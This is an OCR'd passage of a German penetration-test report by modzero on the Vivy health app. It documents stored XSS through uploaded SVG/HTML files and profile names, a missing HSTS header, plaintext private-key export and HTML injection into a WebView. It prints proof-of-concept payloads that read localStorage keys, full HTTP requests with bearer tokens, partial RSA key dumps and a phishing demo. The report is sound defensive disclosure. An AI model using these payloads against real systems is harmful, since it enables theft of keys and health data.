ZTbfOmeG2btjVTMNIPMXuUgsPYTsalWqfRZPImbQYhXqXoXYABb210r4TTo=

x-encryption-compression: gzip

x-encryption-content-type: image/svg+xml

Accept-Language: en-US

x-uvita-client: android

Authorization: bearer
eyJhbGciOiJIUzIINiISINR5cCI6IkpXVCI9.eyJ1c2VyX25hbWUiOiJtdGhAbWOkemVyby5kZSIsInN@eXB1IjoiVVNFUiIsInNjb3B
1IjpbImIhc21jI10sImlkIjoiYz1iYmNIMGQtMGM1YS@OZGYXLThkM2EtODI2NDc2MGI1ZTg5IiwiZXhwIjoxNTM3NTU3NzAS5LCIqdGk
101I20DQ4ZGYXNCIKMWIYLTQzNGItYjdiZS@3NmY3NmZiMzBmMGIiLCIjbGllbnRfaWQiOiJhbmRyb21kIn®@.buhMIHfGH4EKKphtSEg
OXFFVy5Nq5-L67sgsiDE6GO4

x-uvita-version: 1.16

X-uvita-device: Bee E7S

Content-Type: multipart/form-data; boundary=b@db2227-e063-4754-968a-2d8808b90c9b

Content-Length: 513

Host: api.vivy.com

Connection: close

Accept-Encoding: gzip, deflate

User-Agent: okhttp/3.11.0

--bodb2227-e063-4754-968a-2d8808b90c9b

Content-Disposition: form-data; name="file"; filename="dr.gz.enc"
Content-Type: application/vnd+uvita.encryptedfile

Content-Length: 288

C“§BR5#0™, ‘nk; ¥Cy ‘Exo 1’0
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Das SVG-Dokument wird hierbei verschliisselt im HTTP-Request-Body an die Vivy-Plattform und
von dort in den Browser des Arztes iibertragen. Entschliisselt sieht das SVG-Dokument wie folgt
aus

<?xml version="1.0"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.orgGraphics/SVG/1.1/DTD/svgll.dtd">

<svg version="1.1" xmlns="http://www.w3.0rg/2000/svg" xmlns:xlink="http://www.w3.0rg/1999/x1link"
height="100" width="100">
<a xlink:href="javascript:alert(localStorage.getItem('key'))">
<circle cx="50" cy="50" r="40" fill="red"/>
</a>
</svg>

Der Browser des Arztes empfangt das verschliisselte Dokument, entschliisselt es, und zeigt ein
Vorschaubild an. Klickt der Arzt auf das Vorschaubild, so wird das entschlisselte
Originaldokument mit eingebettetem JavaScript unter der URL blob:https://app.vivy.com/8cadifes-
5ae8-4766-b5a3-8b3bded1f71f gedffnet. Hier ist nun das im SVG-Dokument eingebettete JavaScript aktiv.

Der eingebettete JavaScript-Code lauft unter dem Origin https://app.vivy.com und hat daher Zugriff
auf dessen localstorage-Speicher. Hierin sind private RSA-Schliissel sowie zuvor durch den Arzt
eingegebene URLs und PINs gespeichert und kdnnen mittels JavaScript ausgelesen werden:

Der Angriff ist nicht auf SVG-Dokumente beschrankt und funktioniert beispielsweise ebenso mit
HTML-Dokumenten.

Mozilla Firefox

blob:https://app.vivy.com, X (g

@ blob:https://app.vivy.com/8ca91f08-5ae8-4766-b5a3-8b3bded 1F71F e @ | Q search

-—-BEGIN RSA PRIVATE KEY-—-
MIl)JwIBAAKCAQEA241T6)rFTATETVYNYmuhZwWygFDkfBh/KIQ+YYVz33Ti0O5Rz
IYTtpPv43ZMS0zGscYRzHrCp6XYUmCiCAng/6xrLhQbge/MI2ZmtxZV0QIUMrjeM
eKqp22hDkg9V78v2D/HETCwtkoozffHFtggdSfKm+ba+e3NrAFZMPXiMPp3+r5qd
tgcW7+zbYc9nc9Y+4oy3yvai/alv+bTZPRh310+IWn9kh8vKIsrdPG4T1dtcyAdr
WPdcoBRUhsQAbXu6YLCpOldwF5Hgh2765m6DxH7F92fZoY4gSWTd40575d0VrGeh
kPHuoCP8qgSakKSv2EAN]JoPggMNXAAcllIhvwgT9QgeYAO3HRzyPaCWW3dbXZJuER+U
pMbVn6EIhFyWQmShjTgQaDLTQ8wql)Wm)BxgTubd57NuRcv31eZQpno/Qw8k+ejz
dGktX6taq8bJcLb2HNCmXP3 +1kIRW2s0yY8rT1wGC+rDfmel336K9nM)|S1SAkwS
nlQZG7+WBIVRnD+zsIF2qdSrcc9cAdSQTISrgp8miWFar84 LgWHF + SPp/xBjjM)k

Sofern die unter den ausgelesenen URLs geteilten Dokumente noch verfiigbar sind (entweder 24
Stunden oder dauerhaft), kann deren Inhalt mit PIN und privatem Schliissel abgefragt
entschliisselt werden.

4.3.2.2 Empfehlung

Die entschliisselten und moglicherweise schadhaften Dokumente sollten nicht iiber eine biob://-
URL und damit unter dem Origin der Browser-App verlinkt werden. Stattdessen kann
beispielsweise ein Download mit content-Disposition: attachment angeboten werden.
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4.3.3 Persistentes Cross-Site-Scripting in Profilbildern

Typ/Klasse Cross-Site-Scripting
Aufwand Gering

Auswirkung Mittel/Hoch

Ort Browser-App

Die Browser-App ist von einer persistenten Cross-Site-Scripting-Schwachstelle (XSS) betroffen.
Ein Angreifer kann JavaScript-Code einschleusen. Besucht ein Anwender darauthin den
betroffenen Bereich der Webanwendung, wird der Code im Browser und mit den Rechten des
angegriffenen Benutzers ausgefiihrt.

Persistente Cross-Site-Scripting-Schwachstellen ermoglichen einem Angreifer das Einschleusen
von bosartigem JavaScript-Code in die Webanwendung. Aus Sicht des angegriffenen Benutzers
bzw. dessen Browsers ist die Herkunft (Origin) von eingeschleustem Code und von legitimen
Inhalten der Webanwendung identisch. Der eingeschleuste Code unterliegt daher nicht den
Beschrankungen der Same-Origin-Policy.

Der eingeschleuste Code wird im Browser des angegriffenen Benutzers ausgefiihrt und kann in
seinem Namen und mit seinen Rechten Zugriff auf Inhalte der Webanwendung nehmen und diese
verunstalten (Defacement), Session-Cookies oder andere sitzungsidentifizierende Merkmale
auslesen (Session-Hijacking) oder Passworteingaben aufzeichnen (Phishing).

Schadcode kann auf mehrere Arten in eine Webanwendung eingeschleust werden. Bei einem
reflektierten XSS-Angriff wird Schadcode iiblicherweise in einem HTTP-Query-Parameter,
seltener in einem HTTP-Request-Header oder im HTTP-Request-Body an die Webanwendung
gesendet, welche diesen daraufhin in den zuriickgelieferten HTML-Code einbaut. Bei dem hier
beschriebenen persistenten XSS-Angriff dagegen wird Schadcode dauerhaft beispielsweise in der
Datenbank der Webanwendung gespeichert und an Benutzer ausgeliefert, ohne dass es zuvor
einer speziellen Interaktion zwischen Angreifer und angegriffenem Benutzer bedarf.

4.3.3.1 Details

Uber die Vivy-App kénnen Benutzer Profilbilder hochladen und dffentlich teilen. Hierzu sendet die
Vivy-App einen HTTP-POST-Request an die Vivy-Plattform unter
https://api.vivy.com/api/users/me/profilepictures. Dabei konnen jedoch Dateien mit beliebigem
Content-Type hochgeladen werden, nicht nur Bilder.

Nachfolgend wurde ein HTML-Dokument per HTTP-POST-Request an
https://api.vivy.com/api/users/me/profilepicturesllocllgela(ieru

POST /api/users/me/profilepictures HTTP/1.1

Accept-Language: en-US

x-uvita-client: android

Authorization: bearer
eyJhbGciOiJIUzIINiISInR5cCI6IkpXVCI9.eyJ1c2VyX25hbWUiOiJtdGhAbWOkemVyby5kZSIsInN@eXB1IjoiVVNFUiIsInNjb3B
1IjpbImIhc21jI10sImlkIjoiYz1iYmNIMGQtMGM1YSOOZGYXLThkM2EtODI2NDc2MGI1ZTg5TIiwiZXhwIjoxNTM3NTczNTY4LCIqdGk
101JkODdjYWZKMS1iNFIzLTQWZTAtODIWMSO1ZMNiN2EGNWFhOTMiLCIjbG1l1bnRfaWQiOiJhbmRyb21kIn®@.1NowScsZmgNsw70SQdt
DKRQ9EMAbXAls4tjo79mus1g

x-uvita-version: 1.16

x-uvita-device: Bee E7S

Content-Type: multipart/form-data; boundary=ef9c3376-265c-45be-ba58-24679ea46361

Content-Length: 228

Host: api.vivy.com

Connection: close

Accept-Encoding: gzip, deflate

User-Agent: okhttp/3.11.0

--ef9c3376-265c-45be-ba58-24679ea46361
Content-Disposition: form-data; name="file"; filename="file.txt"
Content-Type: text/html

<script>alert(localStorage.getItem('key'))</script>
--ef9¢3376-265c-45be-ba58-24679€a46361- -

Unter der URL https://app.vivy.com/api/users/c9bbcedd-0c5a-4dfl-8d3a-8264760bee89/profilepictures ist das
HTML-Dokument anschliefSend 6ffentlich abrufbar. Der Server gibt dabei den beim Hochladen
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angegebenen Content-Type aus. Folglich werden das HTML-Dokument und darin enthaltener
JavaScript-Code vom Browser interpretiert und ausgefiihrt.

Der eingebettete JavaScript-Code lauft unter dem Origin https://app.vivy.com und hat daher Zugriff
auf dessen localstorage. Hierin sind private RSA-Schliissel sowie zuvor durch den Arzt eingegebene
URLs und PINs gespeichert und kdnnen mittels JavaScript ausgelesen werden:

Mozilla Firefox

+ app.vivy.com/apifusers X Qeg

@ @ https://app.vivy.com/api/users/cSbbce0d-0c5a-4df1-8d3a-8264760bees = @ | Q search

—--—-BEGIN RSA PRIVATE KEY--—-

MI|jjwIBAAKCAgEA2 4rT6)rFTA7ETVYNYmuhZwWyqF DkfBh/KIQ+YYVz33Ti05Rz
IYTtpPv43ZMS0zG)scYRzHrCp6 XYUmCFCAng/6xrLhQbge/MI2mtxZV0QIUMrjeM
eKqp22hDkg9V78v2D/HETCwtkoozffHFtggdSfKm+ba+e3NrAFZMPXiMPp3+r5qd
tgcW7+zbYc9nc9Y+4oy3yval/falv+bTZPRh310+IWn9kh8vKIsrdPGAT1dtcyAdr
WPdcoBRUhsQAbXu6YLCp01dwF5Hgh2765m6DxH7F92fZoY4gSWTd40S75d0VrGeh
kPHuoCP8qgSaKSv2 EANJoPggMNXAAollhvwgT9QgeYAO3HRzyPaCWW9dbXZJuER+U
pMbVn6EIhFvWQmShjTgQaDLTQ8wgl/Wm)|BxgTubd57NuRcv31eZQpno/Qw8k+ejz
dGktX6taq8b)cLb2HNCmXP3 +kIRW2s0yY8rT1wGC+rDfmel336K9nMJJS1SAkwS
nlQZG7+WBIVRnD+2zsIF2qdSrcc9cAdSQTISrgp8miWFar84LgWHF +SPp/xBjjMJk

Sofern die unter den ausgelesenen URLs geteilten Dokumente noch verfiigbar sind (entweder 24
Stunden oder dauerhaft), kann deren Inhalt mit PIN und privatem Schliissel abgefragt
entschliisselt werden.

4.3.3.2 Empfehlung
Allgemein sollte die Eingabevalidierung und Ausgabecodierung von Benutzereingaben sollte
systematisch untersucht werden.

Im konkreten Fall sollte der Content-Type von Profilbildern iiber eine White-List auf sichere Werte
wie image/jpeg oder image/png eingegrenzt werden.

Die Ausfithrung von erfolgreich injiziertem Schadcode kann zusatzlich durch Setzen einer
moglichst weitreichenden Content-Security-Policy per HTTP-Response-Header unterbunden
werden.

4.3.4 Persistentes Cross-Site-Scripting in Benutzernamen

Typ/Klasse Cross-Site-Scripting
Aufwand Gering

Auswirkung Mittel/Hoch

Ort Browser-App

Die Browser-App ist von einer persistenten Cross-Site-Scripting-Schwachstelle (XSS) betroffen.
Ein Angreifer kann JavaScript-Code einschleusen. Besucht ein Anwender daraufhin den
betroffenen Bereich der Webanwendung, wird der Code im Browser und mit den Rechten des
angegriffenen Benutzers ausgefiihrt.

Persistente Cross-Site-Scripting-Schwachstellen erméglichen einem Angreifer das Einschleusen
von bosartigem JavaScript-Code in die Webanwendung. Aus Sicht des angegriffenen Benutzers
bzw. dessen Browsers ist die Herkunft (Origin) von eingeschleustem Code und von legitimen
Inhalten der Webanwendung identisch. Der eingeschleuste Code unterliegt daher nicht den
Beschrankungen der Same-Origin-Policy.

Der eingeschleuste Code wird im Browser des angegriffenen Benutzers ausgefithrt und kann in
seinem Namen und mit seinen Rechten Zugriff auf Inhalte der Webanwendung nehmen und diese
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verunstalten (Defacement), Session-Cookies oder andere sitzungsidentifizierende Merkmale
auslesen (Session-Hijacking) oder Passworteingaben aufzeichnen (Phishing).

Schadcode kann auf mehrere Arten in eine Webanwendung eingeschleust werden. Bei einem
reflektierten XSS-Angriff wird Schadcode iiblicherweise in einem HTTP-Query-Parameter,
seltener in einem HTTP-Request-Header oder im HTTP-Request-Body an die Webanwendung
gesendet, welche diesen daraufthin in den zuriickgelieferten HTML-Code einbaut. Bei dem hier
beschriebenen persistenten XSS-Angriff dagegen wird Schadcode dauerhaft beispielsweise in der
Datenbank der Webanwendung gespeichert und an Benutzer ausgeliefert, ohne dass es zuvor
einer speziellen Interaktion zwischen Angreifer und angegriffenem Benutzer bedarf.

4.3.4.1 Details
JavaScript-Code kann in firstname und 1astname des Benutzerprofils injiziert werden. Der Code
kommt anschliefRend unter einem eindeutigen Pfad auf me.vivy.com zur Ausfiithrung.

Beispiel: HTTP-PUT-Request mit JavaScript-Injektion in firstName:

PUT /api/users/me HTTP/1.1

Content-Type: application/json

Accept-Language: en-US

x-uvita-client: android

Authorization: bearer
eyJhbGci0iJIUZIINIiISINR5cCI6IKkpXVCI9.eyllc2VyX25hbWUiOiJtdGhAbWOkemVyby5kZSIsInN@eXB1IjoiVVNFUiIsInNjb3B
1IjpbImIhc21jI10sImlkIjoiYz1iYmNIMGQtMGM1YSOOZGYXLThkM2EtODI2NDc2MGI1ZTg5TiwiZXhwIjoxNTM3NzM4ANDk4LCIqdGk
10iI1NZZmMDAYMS@5ZmY2LTQWMWQtYTQxZi1kNDY1YZzViN2QwZGIiLCIjbGl1lbnRfaWQiOiJhbmRyb21kIn®.tKyPcXEoUVB8jMWueZv
Fc_KTj2jIFWe12hCRI-AJNGI

x-uvita-version: 1.16

x-uvita-device: Bee E7S

Host: api.vivy.com

Connection: close

Accept-Encoding: gzip, deflate

User-Agent: okhttp/3.11.0

Content-Length: 109

"firstName" : "<image src=x onerror=alert(localStorage.getItem('requests'))>",
"lastName" : "test"

¥

Die Vivy-Plattform antwortet mit:

HTTP/1.1 200

Date: Sun, 23 Sep 2018 21:16:32 GMT

Content-Type: application/json;charset=UTF-8

Connection: close

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE
Access-Control-Max-Age: 3600

Access-Control-Expose-Headers: x-encryption-cipher-key, x-encryption-compression, x-encryption-content-
type, x-encryption-version

X-Application-Context: uvita-api:prod

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: @

X-Frame-Options: DENY

Vary: Accept-Encoding

Content-Length: 1341

{
"id" : "c9bbce@d-0c5a-4df1-8d3a-8264760bee89",
"firstName" : "<image src=x onerror=alert(localStorage.getItem('requests'))>",
"lastName" : "test",
"preferredName" : "modzero_test",
"language" : "en-US",
"email" : "test@example.com",
"birthDate" : null,
"pictureFileId" : "uvita-profilepicture-2018-09-23T19:24:04Z-
c6NTLONgMWAFB5RO9MXGVIWi5GXxFCWdpC21LZUIVX",
"insurance" : {
"id" : "dak-gesundheit",
"name" : "DAK-Gesundheit",
"number" : null,
"verified" : false,
"status" : "pending",
"supported" : true,
"cardLogoUrl" : "https://uvita.eu/images/uploads/75d74b75-1c44-4c81-98bd-392512771c38",
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"invertedColorCardLogoUrl" : null,
"backgroundUrl” : "https://uvita.eu/images/insurances/dak-gesundheit/cardbackground-pr.png",
"contactBackgroundurl" : "https://uvita.eu/images/insurances/dak-gesundheit/cardbackground-
pr.png",
"color" : "#FFFFFFFF",
"primaryColor" : "#BF4A17FF",
"secondaryColor" : "#FFFFFFFF",
"features" : [ {
"id" : "sso",
"iconUrl" : null
3]
s
"kycStatus" : "initial",
"kycMessage" : null,
"key" : {
"pubKeyId" : "51c83269-ec33-45ab-8488-823614d4bc92",
"pubKeyFileId" : "uvita-pubkey-2018-09-23T09:45:52Z-mq4TOEh1HZK13VILaiYL7Im1F@IYY3V133q7831b",
"pubKeyUploadedAt" : "2018-09-23T09:45:53Z"
s
"terms" : null
}

Anschlieffend wird aus der Vivy-App per HTTP-POST-Request ein Dokumentenupload-Link auf
me.vivy.com angefordert:

POST /api/subjects/me/direct HTTP/1.1

Content-Type: application/json

Accept-Language: en-US

X-uvita-client: android

Authorization: bearer
eyJhbGciOiJIUzIINIiISsInR5cCI6IkpXVCI9.eyJ1c2VyX25hbWUiOiJtdGhAbWOkemVyby5kZSIsInN@eXB1IjoiVVNFUiIsInNjb3B
1IjpbImIhc21jI10sImlkIjoiYz1iYmNIMGQtMGM1YS@OZGYXLThkM2EtODI2NDc2MGI1ZTg5TiwiZXhwIjoxNTM3NzMANDk4LCIqdGk
10iI1NzZmMDAYMSO5ZmY2L TQWMWQtYTQxZilkNDY1YZzViN2QwZGIiLCIjbGl1lbnRfaWQiOiJhbmRyb21kIn®.tKyPcXEoUVB8jMWueZv
Fc_KTj2jIFWe12hCRI-AJNGI

x-uvita-version: 1.16

X-uvita-device: Bee E7S

Content-Length: @

Host: api.vivy.com

Connection: close

Accept-Encoding: gzip, deflate

User-Agent: okhttp/3.11.0

Die Vivy-Plattform antwortet mit:

HTTP/1.1 200

Date: Sun, 23 Sep 2018 20:35:49 GMT

Content-Type: application/json;charset=UTF-8

Connection: close

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS, DELETE
Access-Control-Max-Age: 3600

Access-Control-Expose-Headers: x-encryption-cipher-key, x-encryption-compression, x-encryption-content-
type, Xx-encryption-version

X-Application-Context: uvita-api:prod

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: @

X-Frame-Options: DENY

X-Content-Type-Options: nosniff

Vary: Accept-Encoding

Content-Length: 108

{
"id" : "yjbskrxs",
"url" : "https://me.vivy.com/yjbskrxs",
"expireAt" : "2018-09-24T20:35:49.4247"
}

Bei Abrufen der URL https://me.vivy.com/yjbskrxs im Browser wird der eingeschleuste JavaScript-
Code ausgefiihrt. Der eingebettete JavaScript-Code lauft unter dem Origin https://me.vivy.com und
hat daher Zugriff auf dessen 1ocalstorage. Hierin sind IDs der Upload-Anfragen gespeichert, welche
bisher mit diesem Browser geoffnet wurden. Diese konnen mittels JavaScript ausgelesen werden:
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Dokumente an Patient libertragen — Vivy - Mozilla Firefox

%9 Dokumente an Patient X [JEg

(&)= ¢ @ @ & https://arztupload.vivy.com/request/kKcETq: e @ | | Q search

{"kKcE7qal30iwg7hWKB2RVXaD)BbwMTeDS5C3BV8xg43yQeksZyH
{"records™:[]}}

Sofern die zu den ausgelesenen IDs gehdrenden Upload-Anfragen noch verfiighar sind
(mindestens fiir 24 Stunden), kdnnen unter Kenntnis der ID weitere Dokumente in die App des
entsprechenden Vivy-Benutzers libertragen werden.

4.3.4.2 Empfehlung
Allgemein sollte die Eingabevalidierung und Ausgabecodierung von Benutzereingaben
systematisch untersucht werden.

Die Webanwendung muss durch eine dem jeweiligen Ausgabekontext angemessene
Ausgabecodierung verhindern, dass eingeschleuster HTML- und JavaScript-Code vom Browser
eines angegriffenen Benutzers interpretiert wird.

Als sekundare Mafsnahme sollte die Webanwendung Benutzereingaben systematisch validieren,
um das Einbringen von Schadcode zu verhindern. Aus Griinden der defensiven Programmierung
sollte diese Mafinahme allein jedoch nicht als hinreichende Losung der Problematik betrachtet
werden.

Die Ausfithrung von erfolgreich injiziertem Schadcode kann zusatzlich durch Setzen einer
moglichst weitreichenden Content-Security-Policy per HTTP-Response-Header unterbunden
werden.

Zudem sollte die Browser-App, sofern nicht zwingend notwendig, keine Anfrage-IDs speichern.
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4.3.5 Fehlende HTTP-Transport-Security-Policy

Typ/Klasse Transport-Security
Aufwand Mittel/Hoch
Auswirkung Mittel/Hoch

Ort Browser-App

Die Browser-App sendet keine HTTP-Strict-Transport-Security-Header (HSTS).
Netzwerktechnisch giinstig positionierte Angreifer konnen daher Datenverkehr zwischen
Benutzern und der Webanwendung mitlesen und manipulieren.

Die Webanwendung deklariert keine HTTP-Strict-Transport-Security-Policy (HSTS). Man-in-the-
Middle-Angreifer (MitM) kénnen Datenverkehr mitlesen und manipulieren.

Durch das Mitsenden eines HSTS-Response-Headers weist eine Webanwendung (HSTS-Host) den
Browser an, fortan bis zu einem deklarierten Zeitpunkt ausnahmslos verschliisselt liber eine
sichere Verbindung zu kommunizieren.

Laut Standard3 tiberschreibt eine HSTS-Policy explizit die Art und Weise, wie der Browser URI-
Referenzen, Benutzereingaben (z.B. iiber die Adressleiste des Browsers) und sonstige Befehle
verarbeitet, die in Abwesenheit einer HSTS-Policy zu unsicherer Kommunikation mit dem HSTS-
Host fithren kénnten.

Ohne HSTS kann ein Man-in-the-Middle-Angreifer (MitM) den Datenverkehr einer vermeintlich
sicher tiber HTTPS kommunizierende Webanwendung in folgenden Szenarien mitlesen und
manipulieren:

e Der Benutzer gibt im Browser den Host der Webanwendung ohne Schema ein, also
beispielsweise vivy.com statt HTTPS://vivy.com. Browser senden dann einen
unverschliisselten HTTP-Request.

o Der Benutzer folgt einem unsicheren HTTP-Link, beispielsweise aus einer E-Mail oder von
einer fremden Webseite.

e Die Webanwendung selbst bettet versehentlich unverschliisselte HTTP-Inhalte ein (Mixed-
Content).

e Ein aktiver MitM-Angreifer ersetzt HTTPS-URLs in beispielsweise der initialen HTTP-
Response der Webanwendung durch unsichere HTTP-URLs (HTTP-Downgrading durch SSL-

Stripping).

e Ein aktiver MitM-Angreifer gibt sich dem Benutzer gegentiber als Host der Webanwendung
aus und présentiert hierzu ein nicht vertrauenswiirdiges Zertifikat (MitM-Proxy).

Hatte die Webanwendung dagegen zuvor einen HSTS-Header gesendet, wiirde der Browser in
allen obigen Szenarien sicher verschliisselt per HTTPS kommunizieren und dem Benutzer keine
Moglichkeit bieten, nicht vertrauenswiirdige Zertifikate zu akzeptieren.

4.3.5.1 Details
Beispiel: Bei der Eingabe von ,vivy.com/bretr durch einen Arzt sendet der Browser folgenden
unverschliisselten HTTP-Request:

HTTP/1.1 301 Moved Permanently

Server: CloudFront

Date: Fri, 21 Sep 2018 18:30:38 GMT

Content-Type: text/html

Content-Length: 183

Connection: close

Location: https://vivy.com/bretr

X-Cache: Redirect from cloudfront

Via: 1.1 14484a063800eaed878a3068abf4dfac.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Ul-7sH72WuCi7QivHd2No®Y_we8K90Yh9U735S8eMTI87LEKgIIDAg==

<html>
<head><title>301 Moved Permanently</title></head>

3 https://tools.ietf.org/html/rfc6797, zuletzt abgerufen am 02.10.2018
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<body bgcolor="white">

<center><h1>301 Moved Permanently</hl></center>
<hr><center>CloudFront</center>

</body>

</html>

Die Vivy-Plattform antwortet mit folgender unverschliisselter HTTP-Response:

HTTP/1.1 301 Moved Permanently

Server: CloudFront

Date: Fri, 21 Sep 2018 18:30:38 GMT

Content-Type: text/html

Content-Length: 183

Connection: close

Location: https://vivy.com/bretr

X-Cache: Redirect from cloudfront

Via: 1.1 144842063800eaed878a3068abfadfac.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Ul-7sH72WuCi7QivHd2No®Y_we8K90Yh9U735S8eMTI87LEKgIIDAg==

<html>

<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">

<center><h1>301 Moved Permanently</hl></center>
<hr><center>CloudFront</center>

</body>

</html>

Ein Man-in-the-Middle-Angreifer kann diese initiale unverschliisselte Kommunikation mithéren
und manipulieren. Hatte die Vivy-Plattform dem Browser dagegen zu einem fritheren Zeitpunkt
per HSTS-Header mitgeteilt, dass die gesamte Kommunikation stets verschliisselt zu erfolgen
habe, hatte der Browser direkt einen verschliisselten HTTPS-Request gesendet.

4.3.5.2 Empfehlung

Die Nutzung von HSTS ist in jedem Fall empfehlenswert. Dazu muss die Webanwendung einen
glltigen HSTS-Header senden. Die Giiltigkeitsdauer sollte bei erstmaliger Nutzung zundchst
schrittweise erhoht werden, um Probleme beheben zu konnen. Langfristig ist eine
Glltigkeitsdauer von mindestens einem Jahr anzustreben. Dies ist beispielsweise Voraussetzung,
um in die HSTS-Preload-Liste* des Chrome-Browsers tibernommen werden zu kénnen.

Die Verwendung des folgenden, zwei Jahre giiltigen HSTS-Headers ist langfristig empfohlen:

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

4.4 Smartphone-App

4.4.1 Export des privaten Schliissels im Klartext

Typ/Klasse Information-Disclosure
Aufwand Gering

Auswirkung Mittel/Hoch

Ort Smartphone-App fiir Android

Vivy empfiehlt Nutzern, den privaten Schliissel als ,Wiederherstellungsschliissel” an ihr eigenes
E-Mail-Konto zuzusenden.
2. Schliissel exportieren

Dir werden dann verschiedene Export-Méglichkeiten fiir den Schliissel angeboten. Du kannst ihn
beispielsweise in deine Cloud hochladen oder dir auch per E-Mail selbst zusenden. Wir empfehlen
dir den Schliissel sicher aufzubewahren und vor dem Zugriff Dritter zu schiitzen.

Quelle: https://help.vivy.com/hc/de/articles/360008788614, zuletzt abgerufen am 02.10.2018

Tatsachlich bietet die App dem Nutzer diese unsicheren Export-Optionen an:

4 https://hstspreload.org/, zuletzt abgerufen am 02.10.2018
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Der private Schliissel wird dabei ohne Passwortschutz oder anderweitige Sicherung im Klartext
(base64-kodiert und kodiert in Form von vier QR-Codes) exportiert.

4.41.1 Empfehlung
Der private Schliissel sollte vor Export mit einem starken Passwort geschiitzt werden.

4.4.2 Einbetten von nicht vertrauenswiirdigem HTML-Code

Typ/Klasse Input-Validation

Aufwand Gering

Auswirkung Mittel/Hoch

Ort Smartphone-App fiir Android

Die App erlaubt das Austauschen von Dokumenten von Arzten zu Nutzern und zwischen Nutzern
der App. Die App zeigt eine Vorschau der empfangenen Dokumente direkt in der App an.

Empfangene Office-Open-XML-Dokumente (.docx) werden dabei zunichst in HTML-Dokumente
konvertiert und anschlieflend in einem in die App eingebetteten Webbrowser (WebView)
prasentiert. Zur Konvertierung nutzt die App den quelloffenen XHTMLConverter von XDocReport5
in einer veralteten Version.

XHTMLConverter iibernimmt bei der Konvertierung CSS-Klassennamen aus dem Office-Open-
XML-Originaldokument, ohne dabei HTML-Steuerzeichen vor Ausgabe in das HTML-
Ergebnisdokument zu codieren oder zu filtern.

Uber ein entsprechend prépariertes Office-Open-XML-Dokument kann ein Angreifer beliebigen
HTML-Code in das von XHTMLConverter erzeugte HTML-Dokument einschleusen.

5 https://github.com/opensagres/xdocreport
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modzero GmbH
Schwachstellen in Gesundheits-App Vivy

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document ..>
<w:body>
<W:ip>
<w:pPr>
<w:pStyle w:val="Normal&quot;.."></w:pStyle>

</w:pPr>
</w:p>

</w:body>
</w:document>

Die Ausfiihrung von beliebigem, fremdem HTML-Code innerhalb eines eingebetteten WebView ist
aus mehreren Griinden problematisch.

e Der Nutzer kann praktisch nicht zwischen vertrauenswiirdigen Inhalten der App sowie
eingeschleusten Inhalten unterscheiden. Dies begiinstigt Phishing-Angriffe.

e Die WebView-Komponente ist regelmafdig von Schwachstellen betroffen. Schwachstellen in
der WebView-Komponente kompromittieren die Sicherheit der gesamten App, da beide im
selben Prozess und somit derselben Sandbox laufen.

e Die Same-Origin-Policy (SOP) des WebView allein ist nicht geeignet, den Zugriff auf geschiitzte
Inhalte der App durch eingeschleusten HTML-Code zu unterbinden. Unter anderem die MWR
Labs sowie die Tencent Security Labs warnen regelmiflig vor den Risiken, die von
unzureichend abgesicherten WebView-Komponenten ausgehen kénnen®’.

Beispielhaft wird ein Phishing-Angriff demonstriert: Zunichst wird tiber den Arztupload ein
prapariertes Office Open XML-Dokument in die App des Nutzers hochgeladen. In der
Gesundheitsakte des Nutzers taucht daraufhin ein neues Dokument auf. Klickt der Nutzer auf das

Dokument, wird er zur erneuten Eingabe seiner Zugangsdaten aufgefordert.
02:51 & H i [ D =00 99% = 04:48 €& = ¢ W O 200 9%

& Invoice <

Documents
Only visible to you

28. September

Please Confirm Your Identity

‘E Invoice
Fo: Prescription Vivy

Change user

E Invoice Password

@

Forgot Password?

6 https://labs.mwrinfosecurity.com/assets/AdvisoriesFiles/Sandbox-Advisory1.pdf, zuletzt
abgerufen am 02.10.2018
7 http://www.cnvd.org.cn/webinfo/show/4365, zuletzt abgerufen am 02.10.2018

modzero GmbH | MarienstraBe 12| 10117 Berlin | Germany | Phone: +49 30 33855540
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modzero GmbH
Schwachstellen in Gesundheits-App Vivy

Kommt der Benutzer der Aufforderung nach, werden die eingegebenen Zugangsdaten an eine
fremde Domain - hier example.com - gesendet:

02:52 €& = & ¢ 0 = (G G 99% 2 02:52 € = 4 & O 200 99% =

¢ Invoice < i <  Invoice < @

Vivy

Change user 2
Example Domain

Password This domain is established to be used for illustrative examples in documents. You
may use this domain in examples without prior coordination or asking for
permission.

@ More information.

Forgot Password?

22 se]sle][o]s]o
afwielrltlylulifofp
oz x|c[v]bln|m @

m e — | me =

Auf demselben Weg kann auch der TOTP-Code abgefragt werden.

4.4.2.1 Empfehlung
Innerhalb eines eingebetteten WebView dirfen nur vertrauenswiirdige Inhalte dargestellt
werden.

Allgemein empfiehlt Google, die Anzahl der von der App geforderten Passworteingaben zu
minimieren, um Phishing-Angriffe offenkundiger erscheinen zu lassen und damit deren
Erfolgschancen zu reduzierens.

4.4.3 Zuordnung von pseudonym gespeicherten Gesundheitsdaten

Typ/Klasse Information-Disclosure
Aufwand Gering

Auswirkung Mittel/Hoch

Ort Smartphone-App fiir Android

Pseudonymisiert gesammelte Gesundheitsdaten konnen auf Seiten des Anbieters eindeutig
Nutzern zugeordnet werden.

Die App verkniipft Gesundheitsdaten des Nutzers mit einem pseudonymisierten Profil. Dazu
verlautet die Datenschutzerklarung der App:

Ausgewdhlte Datenpunkte eines Benutzerprofils werden pseudonymisiert in ein sogenanntes
Analyseprofil des Benutzers tiberfiihrt. [...] Ihre beiden Profile, d.h. das vollstidndige Nutzerprofil,
das nur Sie einsehen konnen, und Ihr pseudonymisiertes Profil, werden als getrennte Entitditen

8 https://developer.android.com/training/articles/security-tips, zuletzt abgerufen am
02.10.2018

modzero GmbH | MarienstraBe 12| 10117 Berlin | Germany | Phone: +49 30 33855540
E-Mail: contact@modzero.ch | Web: https:/ /www.modzero.ch | Fax: +49 30 3512.5814
